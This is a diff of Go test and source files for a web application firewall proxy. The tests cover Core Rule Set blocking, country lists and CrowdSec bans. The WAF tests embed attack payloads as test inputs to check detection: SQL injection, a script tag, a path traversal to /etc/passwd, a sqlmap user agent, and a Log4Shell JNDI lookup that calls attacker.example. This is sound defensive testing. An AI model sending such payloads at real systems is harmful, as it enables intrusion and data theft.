+		Netblock: rq.h.clientGroup(rq.client),
+		ASN:      rq.line.ASN,
+		ASName:   rq.line.ASName,
+		Country:  rq.line.Country,
+		Reason:   "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD",
+		Detail:   detail,
+	})
+}

internal/proxy/coreruleset_test.go

@@ -0,0 +1,480 @@
+package proxy_test
+
+import (
+	"io"
+	"net/http"
+	"net/netip"
+	"slices"
+	"strconv"
+	"strings"
+	"testing"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// The Core Rule Set's settings the tests set, besides SWWAF_WAF_MODE, and
+// its two modes that inspect requests.
+const (
+	wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD"
+	wafDisabledRules    = "SWWAF_WAF_DISABLED_RULES"
+	wafExemptPaths      = "SWWAF_WAF_EXEMPT_PATHS"
+	wafBodyLimit        = "SWWAF_WAF_BODY_LIMIT"
+	block               = "block"
+	detect              = "detect"
+)
+
+// formData is the type of a form's body.
+const formData = "application/x-www-form-urlencoded"
+
+// sizeLimit is SWWAF_WAF_BODY_LIMIT in the tests that read bodies, 1K as a
+// setting.
+const (
+	sizeLimit        = 1 << 10
+	sizeLimitSetting = "1K"
+)
+
+// sqlInjection asks for / with an SQL injection in its query, which only
+// the Core Rule Set's rule 942100 matches, with a score of 5, the default
+// SWWAF_WAF_ANOMALY_THRESHOLD.
+const sqlInjection = "/?id=1'%20OR%20'1'='1"
+
+// wantWAF checks the request log line's waf_rule_ids and waf_score, and
+// that it has duration_waf, or with no score, that it has none of the
+// three: the Core Rule Set did not inspect the request.
+func wantWAF(t *testing.T, line logLine, score *int, ruleIDs ...int) {
+	t.Helper()
+
+	if !slices.Equal(line.WAFRuleIDs, ruleIDs) {
+		t.Errorf("log line has waf_rule_ids %v, want %v", line.WAFRuleIDs, ruleIDs)
+	}
+
+	switch {
+	case score == nil && (line.WAFScore != nil || line.DurationWAF != nil):
+		t.Errorf("log line has waf_score %v and duration_waf %v, want neither",
+			line.fields["waf_score"], line.fields["duration_waf"])
+	case score != nil && (line.WAFScore == nil || *line.WAFScore != *score):
+		t.Errorf("log line has waf_score %v, want %d", line.fields["waf_score"], *score)
+	case score != nil && line.DurationWAF == nil:
+		t.Error("log line has no duration_waf")
+	}
+}
+
+func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) {
+	t.Parallel()
+
+	for _, attack := range []struct {
+		name, path, header string
+		ruleIDs            []int
+		score              int
+	}{
+		{"SQL injection in the query", sqlInjection, "", []int{942100}, 5},
+		{
+			"script in the query", "/?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E", "",
+			[]int{941100, 941110, 941160, 941390}, 20,
+		},
+		{
+			"path traversal in the path", "/files/../../etc/passwd", "",
+			[]int{930100, 930110}, 10,
+		},
+		{
+			"Log4Shell in a header", "/", "X-Api-Version: ${jndi:ldap://attacker.example/a}",
+			[]int{944150}, 5,
+		},
+		{"scanner's user agent", "/", "User-Agent: sqlmap/1.7", []int{913100}, 5},
+		{
+			// Coraza keeps the first 1000 query parameters.
+			"SQL injection after 1000 query parameters",
+			"/?" + strings.Repeat("a=1&", 1000) + "id=1'%20OR%20'1'='1", "",
+			[]int{900300}, 5,
+		},
+	} {
+		t.Run(attack.name, func(t *testing.T) {
+			t.Parallel()
+
+			for _, tc := range []struct {
+				mode, action string
+				status       int
+			}{
+				{block, requestlog.ActionWAFBlocked, http.StatusForbidden},
+				{detect, requestlog.ActionForward, http.StatusOK},
+			} {
+				s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
+
+				line := s.requestWithHeader(client, attack.path, attack.header,
+					tc.status, tc.action)
+				wantWAF(t, line, &attack.score, attack.ruleIDs...)
+			}
+		})
+	}
+}
+
+func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
+	t.Parallel()
+
+	s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
+
+	line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source",
+		http.StatusOK, requestlog.ActionForward)
+	wantWAF(t, line, new(0))
+}
+
+func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
+
+	s, _, _ := startWithClock(t, "", map[string]string{
+		wafMode:        block,
+		wafExemptPaths: "/api/",
+		allowNets:      allowed,
+		rulesDir:       writeRules(t, testRules),
+	})
+
+	// A client in SWWAF_ALLOW_NETS, and a path SWWAF_WAF_EXEMPT_PATHS
+	// exempts, are not inspected.
+	line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
+	wantWAF(t, line, nil)
+	line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK,
+		requestlog.ActionForward)
+	wantWAF(t, line, nil)
+
+	// The prefix is matched as rate limit exempt paths are: a path that
+	// goes up and out of it is inspected.
+	line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden,
+		requestlog.ActionWAFBlocked)
+	wantWAF(t, line, new(25), 930100, 930110, 942100)
+
+	// A request a rule file refuses is not inspected.
+	line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden,
+		requestlog.ActionRuleBlocked)
+	wantWAF(t, line, nil)
+
+	// With SWWAF_WAF_MODE off, no request is.
+	s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
+	line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+	wantWAF(t, line, nil)
+}
+
+func TestAnomalyThreshold(t *testing.T) {
+	t.Parallel()
+
+	// A score under the threshold, or with the threshold off, is logged,
+	// and refuses nothing.
+	for _, threshold := range []string{"6", off} {
+		s, _, _ := startWithClock(t, "", map[string]string{
+			wafMode: block, wafAnomalyThreshold: threshold,
+		})
+
+		line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+		wantWAF(t, line, new(5), 942100)
+	}
+
+	s, _, _ := startWithClock(t, "", map[string]string{
+		wafMode: block, wafAnomalyThreshold: "5",
+	})
+	s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
+}
+
+func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
+	t.Parallel()
+
+	for _, request := range []struct {
+		name, method, path, header string
+		// ruleIDs are the rules that match the request with none
+		// switched off.
+		ruleIDs []int
+	}{
+		{
+			"git push", http.MethodPost, "/owner/repo.git/git-receive-pack",
+			"Content-Type: application/x-git-receive-pack-request\r\nContent-Length: 4",
+			[]int{920420, 930130},
+		},
+		{
+			"package upload without a type", http.MethodPut,
+			"/api/packages/owner/generic/tool/1.0/tool.tar.gz", "Content-Length: 4",
+			[]int{920340},
+		},
+		{
+			"a shell script", http.MethodGet, "/owner/repo/raw/branch/main/install.sh", "",
+			[]int{920440},
+		},
+		{
+			"an editor's settings", http.MethodGet,
+			"/owner/repo/src/branch/main/.zed/settings.json", "", []int{930140},
+		},
+	} {
+		t.Run(request.name, func(t *testing.T) {
+			t.Parallel()
+
+			body := ""
+			if request.method != http.MethodGet {
+				body = "push"
+			}
+
+			// By default, the rules are switched off.
+			s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
+			line, _ := s.requestWithBody(request.method, client, request.path,
+				request.header, body, http.StatusOK, requestlog.ActionForward)
+			wantWAF(t, line, new(0))
+
+			// A list given replaces the default.
+			s, _, _ = startWithClock(t, "", map[string]string{
+				wafMode: block, wafDisabledRules: "942100",
+			})
+			score := 5 * len(request.ruleIDs)
+			line, _ = s.requestWithBody(request.method, client, request.path,
+				request.header, body, http.StatusForbidden, requestlog.ActionWAFBlocked)
+			wantWAF(t, line, &score, request.ruleIDs...)
+
+			// And switches off the rules it lists.
+			line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+			wantWAF(t, line, new(0))
+		})
+	}
+}
+
+func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
+	t.Parallel()
+
+	const body = "id=1'%20OR%20'1'='1"
+
+	header := "Content-Type: " + formData + "\r\nContent-Length: " +
+		strconv.Itoa(len(body))
+
+	s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
+	line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body,
+		http.StatusOK, requestlog.ActionForward)
+	wantWAF(t, line, new(0))
+
+	s, _, _ = startWithClock(t, "", map[string]string{
+		wafMode: block, wafBodyLimit: sizeLimitSetting,
+	})
+	line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body,
+		http.StatusForbidden, requestlog.ActionWAFBlocked)
+	wantWAF(t, line, new(5), 942100)
+}
+
+func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
+	t.Parallel()
+
+	// The app answers with the body it was sent, once it has the whole of
+	// it: Go's server reads no more of a body once the answer has begun.
+	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
+		body, _ := io.ReadAll(r.Body)
+		_, _ = w.Write(body)
+	})
+	addr, out := startProxy(t, app.URL, map[string]string{
+		wafMode: block, wafBodyLimit: sizeLimitSetting,
+	})
+	longer := "a=" + strings.Repeat("b", 64*sizeLimit)
+
+	for i, tc := range []struct {
+		name, contentType, body string
+		// announced sends the body's length in Content-Length; otherwise
+		// the body is sent in chunks with no length given.
+		announced bool
+	}{
+		{"form data within the limit", formData, "a=b", true},
+		{"form data longer than the limit", formData, longer, true},
+		{"form data longer than the limit, not announced", formData, longer, false},
+		{
+			"JSON larger than the limit", "application/json",
+			`{"a":"` + strings.Repeat("b", 2*sizeLimit) + `"}`, true,
+		},
+		{
+			"a binary body", "application/octet-stream",
+			strings.Repeat("\x00\xff", sizeLimit), true,
+		},
+	} {
+		// A reader whose length the client cannot tell is sent in chunks.
+		var body io.Reader = strings.NewReader(tc.body)
+		if !tc.announced {
+			body = io.MultiReader(body)
+		}
+
+		req := newRequest(t, http.MethodPost, addr, "/", body)
+		req.Header.Set("Content-Type", tc.contentType)
+
+		got := do(t, req)
+		if got.status != http.StatusOK || string(got.body) != tc.body {
+			t.Errorf("%s: the app got %d bytes, answered %d, want the %d sent, 200",
+				tc.name, len(got.body), got.status, len(tc.body))
+		}
+
+		line := out.endedLines(t, i+1)[i]
+		wantLine(t, line, http.StatusOK, requestlog.ActionForward)
+
+		if line.RequestBytes != int64(len(tc.body)) {
+			t.Errorf("%s: log line has request_bytes %d, want %d", tc.name,
+				line.RequestBytes, len(tc.body))
+		}
+	}
+}
+
+func TestResponsesAreNotInspected(t *testing.T) {
+	t.Parallel()
+
+	// A raw shell script, and an SQL error, which the Core Rule Set's rules
+	// for responses take for a leak.
+	const page = "#!/bin/sh\nrm -rf /tmp/build\n" +
+		"You have an error in your SQL syntax; check the manual that " +
+		"corresponds to your MySQL server version\n"
+
+	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
+		_, _ = w.Write([]byte(page))
+	})
+	addr, out := startProxy(t, app.URL, map[string]string{wafMode: block})
+
+	got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
+	if got.status != http.StatusOK || string(got.body) != page {
+		t.Errorf("answered %d with %q, want 200 with the app's page", got.status, got.body)
+	}
+
+	wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward)
+}
+
+func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) {
+	t.Parallel()
+
+	s, _, server := startWithClock(t, "", map[string]string{
+		wafMode: block, errorBurstThreshold: "2", metricsToken: token,
+	})
+
+	for range 2 {
+		s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
+	}
+
+	// The third refusal in a minute breaks the error burst, and bans the
+	// client.
+	line := s.request(client, sqlInjection, http.StatusForbidden,
+		requestlog.ActionWAFBlocked)
+	if line.LimitHit != requestlog.LimitHitErrorBurst ||
+		line.Offence != requestlog.OffenceLimit {
+		t.Errorf("log line has limit_hit %q and offence %q, want error_burst and limit",
+			line.LimitHit, line.Offence)
+	}
+
+	s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+
+	want := ratelimit.Offences{Limit: 1, WAFBlocked: 3}
+	if offences := historyOf(t, server, client).Offences; offences != want {
+		t.Errorf("history counts the offences %+v, want %+v", offences, want)
+	}
+
+	metrics := s.scrape()
+	wantMetric(t, metrics,
+		`smallwebwaf_waf_matches_total{instance="app",mode="block",rule_id="942100"}`, 3)
+	wantMetric(t, metrics,
+		`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`, 3)
+	wantMetric(t, metrics, `smallwebwaf_requests_total{action="waf_blocked",`+
+		`instance="app",status_class="4xx"}`, 3)
+}
+
+func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T) {
+	t.Parallel()
+
+	s, _, server := startWithClock(t, "", map[string]string{
+		wafMode: detect, errorBurstThreshold: "2", metricsToken: token,
+	})
+
+	for range 3 {
+		s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+	}
+
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+
+	offences := historyOf(t, server, client).Offences
+	if offences != (ratelimit.Offences{}) {
+		t.Errorf("history counts the offences %+v, want none", offences)
+	}
+
+	metrics := s.scrape()
+	wantMetric(t, metrics,
+		`smallwebwaf_waf_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3)
+	wantNoSeries(t, metrics,
+		`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`)
+}
+
+func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
+	t.Parallel()
+
+	s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe})
+
+	line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+	wantWouldAction(t, line, requestlog.ActionWAFBlocked)
+	wantWAF(t, line, new(5), 942100)
+
+	// It is an offence as in enforce mode.
+	want := ratelimit.Offences{WAFBlocked: 1}
+	if offences := historyOf(t, server, client).Offences; offences != want {
+		t.Errorf("history counts the offences %+v, want %+v", offences, want)
+	}
+}
+
+func TestCoreRuleSetMatchRaisesTheWAFBlockAlert(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		env  map[string]string
+		// status and action are what the request is answered and logged
+		// with, and alertMode what the alert's detail gives as mode, if
+		// anything.
+		status            int
+		action, alertMode string
+	}{
+		{
+			"block", map[string]string{wafMode: block},
+			http.StatusForbidden, requestlog.ActionWAFBlocked, "",
+		},
+		{
+			"detect", map[string]string{wafMode: detect},
+			http.StatusOK, requestlog.ActionForward, detect,
+		},
+		{
+			"block in observe mode", map[string]string{wafMode: block, mode: observe},
+			http.StatusOK, requestlog.ActionForward, observe,
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			s, clk, _, queue := startWithAlerts(t, tc.env)
+
+			// The second is a repeat, which the cooldown holds back, and an
+			// ordinary request raises none.
+			for range 2 {
+				s.request(client, sqlInjection, tc.status, tc.action)
+			}
+
+			s.get(client, http.StatusOK, requestlog.ActionForward)
+
+			detail := map[string]any{
+				"rule_ids": []int{942100}, "score": 5, "method": http.MethodGet,
+				"path": sqlInjection,
+			}
+			if tc.alertMode != "" {
+				detail["mode"] = tc.alertMode
+			}
+
+			wantAlerts(t, queue, alerts.Alert{
+				Instance: alertInstance,
+				Time:     clk.Now(),
+				Event:    alerts.EventWAFBlock,
+				Host:     appHost,
+				Client:   netip.MustParseAddr(client),
+				Netblock: netip.MustParsePrefix(client + "/32"),
+				Reason:   "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD",
+				Detail:   detail,
+			})
+
+			if queue.Suppressed() != 1 {
+				t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
+			}
+		})
+	}
+}

internal/proxy/countries.go

@@ -0,0 +1,21 @@
+package proxy
+
+import (
+	"slices"
+)
+
+// countryDenied reports whether the country lists refuse the request, by
+// the client's country as it was looked up. A client without a country,
+// or whose country cannot be found, is refused only by
+// SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES.
+func (rq *request) countryDenied() bool {
+	denied := rq.h.config.DeniedCountries
+	allowed := rq.h.config.ExclusivelyAllowedCountries
+	country := rq.line.Country
+
+	if slices.Contains(denied, country) {
+		return true
+	}
+
+	return len(allowed) > 0 && !slices.Contains(allowed, country)
+}

internal/proxy/countries_test.go

@@ -0,0 +1,375 @@
+package proxy_test
+
+import (
+	"encoding/json"
+	"maps"
+	"net/http"
+	"net/http/httptest"
+	"slices"
+	"strings"
+	"sync"
+	"sync/atomic"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// The clients the stand-in for GeoJS knows about.
+const (
+	// fromDE is placed in Germany.
+	fromDE = client
+	// fromKP is placed in North Korea.
+	fromKP = "198.51.100.7"
+	// unplaced cannot be placed in any country.
+	unplaced = "192.0.2.1"
+)
+
+func TestCountryLists(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name    string
+		env     map[string]string
+		refused []string
+	}{
+		{"denied", map[string]string{deniedCountries: "kp"}, []string{fromKP}},
+		{
+			"exclusively allowed", map[string]string{allowedCountries: "DE"},
+			[]string{fromKP, unplaced},
+		},
+		{
+			"both", map[string]string{deniedCountries: "kp", allowedCountries: "de,fr"},
+			[]string{fromKP, unplaced},
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			var calls atomic.Int32
+
+			app := startApp(t, func(http.ResponseWriter, *http.Request) {
+				calls.Add(1)
+			})
+			geojsURL, _ := startGeoJS(t)
+			env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
+			maps.Copy(env, tc.env)
+			addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
+
+			// The AS number GeoJS gives unplaced, 64512, counts as unknown.
+			for i, sent := range []struct{ client, asn, asName, country string }{
+				{fromDE, asnDE, asNameDE, "DE"}, {fromKP, asnKP, asNameKP, "KP"},
+				{unplaced, "", "", ""},
+			} {
+				req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
+				req.Header.Set(forwardedFor, sent.client)
+				got := do(t, req)
+
+				line := out.endedLines(t, i+1)[i]
+				if line.ASN != sent.asn || line.ASName != sent.asName ||
+					line.Country != sent.country {
+					t.Errorf("log line has %q, %q and %q, want %q, %q and %q",
+						line.ASN, line.ASName, line.Country,
+						sent.asn, sent.asName, sent.country)
+				}
+
+				if slices.Contains(tc.refused, sent.client) {
+					wantStatus(t, got, http.StatusForbidden)
+					wantLine(t, line, http.StatusForbidden, requestlog.ActionCountryDenied)
+				} else {
+					wantStatus(t, got, http.StatusOK)
+					wantLine(t, line, http.StatusOK, requestlog.ActionForward)
+				}
+			}
+
+			if int(calls.Load()) != 3-len(tc.refused) {
+				t.Errorf("the app was called %d times, want %d",
+					calls.Load(), 3-len(tc.refused))
+			}
+		})
+	}
+}
+
+func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) {
+	t.Parallel()
+
+	var calls atomic.Int32
+
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {
+		calls.Add(1)
+	})
+	geojsURL, _ := startGeoJS(t)
+	addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
+		trustedProxies:  trustLocalhost,
+		lookupTimeout:   "1h",
+		deniedCountries: "kp",
+	})
+
+	req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body"))
+	req.Header.Set(forwardedFor, fromKP)
+	wantStatus(t, do(t, req), http.StatusForbidden)
+
+	line := out.endedLine(t)
+	wantLine(t, line, http.StatusForbidden, requestlog.ActionCountryDenied)
+
+	if calls.Load() != 0 {
+		t.Errorf("the app was called %d times, want none", calls.Load())
+	}
+}
+
+func TestRequestRefusedByCountryIsNotCounted(t *testing.T) {
+	t.Parallel()
+
+	// The stand-in for GeoJS fails until placing is set, and then places
+	// every address in Germany.
+	var placing atomic.Bool
+
+	geojs := httptest.NewServer(http.HandlerFunc(
+		func(w http.ResponseWriter, r *http.Request) {
+			if !placing.Load() {
+				w.WriteHeader(http.StatusServiceUnavailable)
+
+				return
+			}
+
+			answer := []geojsAnswer{{IP: r.URL.Query().Get("ip"), CountryCode: "DE"}}
+
+			err := json.NewEncoder(w).Encode(answer)
+			if err != nil {
+				http.Error(w, err.Error(), http.StatusInternalServerError)
+			}
+		}))
+	t.Cleanup(geojs.Close)
+
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
+	addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{
+		trustedProxies:     trustLocalhost,
+		lookupTimeout:      "1h",
+		allowedCountries:   "de",
+		rateLimitPerMinute: "1",
+	})
+
+	request := func() answer {
+		req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
+		req.Header.Set(forwardedFor, fromDE)
+
+		return do(t, req)
+	}
+
+	// While GeoJS fails, the client's country cannot be found, and its
+	// request is refused.
+	wantStatus(t, request(), http.StatusForbidden)
+
+	// Once GeoJS places it, a second after the failure, its requests are let
+	// through. No refused one was counted, so the first let through is
+	// within the limit of one a minute.
+	placing.Store(true)
+
+	deadline := time.Now().Add(waitLimit)
+	got := request()
+
+	for got.status == http.StatusForbidden && time.Now().Before(deadline) {
+		time.Sleep(pollInterval)
+
+		got = request()
+	}
+
+	wantStatus(t, got, http.StatusOK)
+}
+
+func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		env  map[string]string
+	}{
+		{"no setting needs the lookup", nil},
+		{"a country list is set", map[string]string{deniedCountries: "kp"}},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			app := startApp(t, func(http.ResponseWriter, *http.Request) {})
+			geojsURL, asked := startGeoJS(t)
+			env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
+			maps.Copy(env, tc.env)
+			addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
+
+			// "" sends no X-Forwarded-For: the client is 127.0.0.1.
+			for i, sent := range []string{
+				"10.0.0.5", "192.168.1.9", "fd00::5", "", "169.254.0.9", "fe80::9",
+			} {
+				req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
+				if sent != "" {
+					req.Header.Set(forwardedFor, sent)
+				}
+
+				wantStatus(t, do(t, req), http.StatusOK)
+
+				line := out.endedLines(t, i+1)[i]
+				wantLine(t, line, http.StatusOK, requestlog.ActionForward)
+
+				for _, field := range []string{"asn", "as_name", "country"} {
+					value, present := line.fields[field]
+					if !present || value != "" {
+						t.Errorf("log line for %q has %s %v, want an empty one",
+							line.ClientIP, field, value)
+					}
+				}
+			}
+
+			// GeoJS is asked about up to 200 waiting clients at once, so once it
+			// has been asked about fromDE, which comes last, it has been asked
+			// about every client before it that waited for an answer.
+			req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
+			req.Header.Set(forwardedFor, fromDE)
+			wantStatus(t, do(t, req), http.StatusOK)
+
+			waitUntil(func() bool { return slices.Contains(asked(), fromDE) })
+
+			if got := asked(); !slices.Equal(got, []string{fromDE}) {
+				t.Errorf("GeoJS was asked about %v, want %s alone", got, fromDE)
+			}
+		})
+	}
+}
+
+func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name      string
+		allowNets string
+		status    int
+		action    string
+	}{
+		{
+			"not in SWWAF_ALLOW_NETS", "",
+			http.StatusForbidden, requestlog.ActionCountryDenied,
+		},
+		{
+			"in SWWAF_ALLOW_NETS", "10.0.0.7,fd00::/8",
+			http.StatusOK, requestlog.ActionForward,
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			app := startApp(t, func(http.ResponseWriter, *http.Request) {})
+			geojsURL, asked := startGeoJS(t)
+			addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
+				trustedProxies:   trustLocalhost,
+				allowedCountries: "de",
+				allowNets:        tc.allowNets,
+			})
+
+			wantAnswers(t, addr, out, []sentRequest{
+				{"10.0.0.7", tc.status, tc.action},
+				{"fd00::5", tc.status, tc.action},
+			})
+
+			if len(asked()) != 0 {
+				t.Errorf("GeoJS was asked about %v, want nothing", asked())
+			}
+		})
+	}
+}
+
+// startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP,
+// each in an AS of its own, and no other address. It returns its URL, and
+// what returns the addresses it has been asked about. A test that needs
+// the stand-in to be asked or to answer sets SWWAF_LOOKUP_TIMEOUT to an
+// hour, whether or not a request waits for the answer: on the default, a
+// hold-up of the test process can abandon the request to the stand-in, and
+// leave the client unknown.
+func startGeoJS(t *testing.T) (string, func() []string) {
+	t.Helper()
+
+	geojsURL, asked, release := startHeldGeoJS(t)
+	release()
+
+	return geojsURL, asked
+}
+
+// startHeldGeoJS is startGeoJS for a stand-in that answers nothing until
+// release is called. Each request to it waits until then.
+func startHeldGeoJS(t *testing.T) (string, func() []string, func()) {
+	t.Helper()
+
+	var (
+		asked struct {
+			mu    sync.Mutex
+			addrs []string
+		}
+		released = make(chan struct{})
+		once     sync.Once
+	)
+
+	geojs := httptest.NewServer(http.HandlerFunc(
+		func(w http.ResponseWriter, r *http.Request) {
+			addrs := strings.Split(r.URL.Query().Get("ip"), ",")
+
+			asked.mu.Lock()
+			asked.addrs = append(asked.addrs, addrs...)
+			asked.mu.Unlock()
+
+			<-released
+
+			answers := make([]geojsAnswer, 0, len(addrs))
+			for _, addr := range addrs {
+				answers = append(answers, answerAbout(addr))
+			}
+
+			err := json.NewEncoder(w).Encode(answers)
+			if err != nil {
+				http.Error(w, err.Error(), http.StatusInternalServerError)
+			}
+		}))
+	t.Cleanup(geojs.Close)
+
+	release := func() { once.Do(func() { close(released) }) }
+	// Run before geojs.Close, which waits for every request to be answered.
+	t.Cleanup(release)
+
+	return geojs.URL, func() []string {
+		asked.mu.Lock()
+		defer asked.mu.Unlock()
+
+		return slices.Clone(asked.addrs)
+	}, release
+}
+
+// The AS numbers and names the stand-in for GeoJS gives fromDE and
+// fromKP, as they are logged.
+const (
+	asnDE    = "AS64496"
+	asNameDE = "Example Net"
+	asnKP    = "AS64511"
+	asNameKP = "Other Net"
+)
+
+// geojsAnswer is an answer of GeoJS about one address, with the fields
+// smallwebwaf reads.
+//
+//nolint:tagliatelle // GeoJS's own names
+type geojsAnswer struct {
+	IP          string `json:"ip"`
+	ASN         int    `json:"asn"`
+	ASName      string `json:"organization_name"`
+	CountryCode string `json:"country_code,omitempty"`
+}
+
+// answerAbout is what the stand-in for GeoJS answers about addr: for an
+// address it cannot place, the AS number 64512 and the AS name Unknown
+// with no country, as GeoJS does.
+func answerAbout(addr string) geojsAnswer {
+	switch addr {
+	case fromDE:
+		return geojsAnswer{IP: addr, ASN: 64496, ASName: asNameDE, CountryCode: "DE"}
+	case fromKP:
+		return geojsAnswer{IP: addr, ASN: 64511, ASName: asNameKP, CountryCode: "KP"}
+	}
+
+	return geojsAnswer{IP: addr, ASN: 64512, ASName: "Unknown"}
+}

internal/proxy/crowdsec_test.go

@@ -0,0 +1,181 @@
+package proxy_test
+
+import (
+	"net/http"
+	"net/netip"
+	"reflect"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/proxy"
+	"sneak.berlin/go/smallwebwaf/internal/reputation"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// The CrowdSec settings, and the tests' engine, which is never asked: each
+// test puts in the copy of its decision list, at decisionsURL, that it
+// needs, as reputation.json would at start.
+const (
+	crowdSecURL  = "SWWAF_CROWDSEC_LAPI_URL"
+	crowdSecKey  = "SWWAF_CROWDSEC_LAPI_KEY"
+	lapi         = "http://crowdsec.example:8080"
+	decisionsURL = lapi + "/v1/decisions"
+	bouncerKey   = "crowdsec-key-0123456789abcdef"
+)
+
+func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server, queue := startWithAlerts(t, map[string]string{
+		crowdSecURL: lapi, crowdSecKey: bouncerKey, metricsToken: token,
+	})
+	// client had four hours left on its decision as the engine answered.
+	fetched := clk.Now()
+	loadDecisions(t, server, fetched, `[{"duration": "4h0m0s", `+
+		`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
+		`"value": "`+client+`"}]`)
+	expires := requestlog.FormatTime(fetched.Add(4 * time.Hour))
+
+	// Its first request is refused, and bans it until the decision ends.
+	line := s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+	wantReputation(t, line, decisionsURL)
+
+	if line.BanExpires != expires {
+		t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
+	}
+
+	listed := []bans.ReputationHit{{Source: decisionsURL}}
+
+	held := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
+	if len(held) != 1 || held[0].Cause != bans.CauseCrowdSec ||
+		!held[0].Start.Equal(fetched) || !held[0].Expires.Equal(fetched.Add(4*time.Hour)) ||
+		held[0].Reason != "CrowdSec's decision for crowdsecurity/ssh-bf" ||
+		!reflect.DeepEqual(held[0].Notes.Reputation, listed) ||
+		held[0].Notes.Request.Path != "/" || held[0].Notes.Requests != 1 {
+		t.Fatalf("bans %+v, want one for crowdsec of four hours, with the list and "+
+			"the request in its notes", held)
+	}
+
+	// The listing raises a reputation_hit alert, and the ban its own.
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
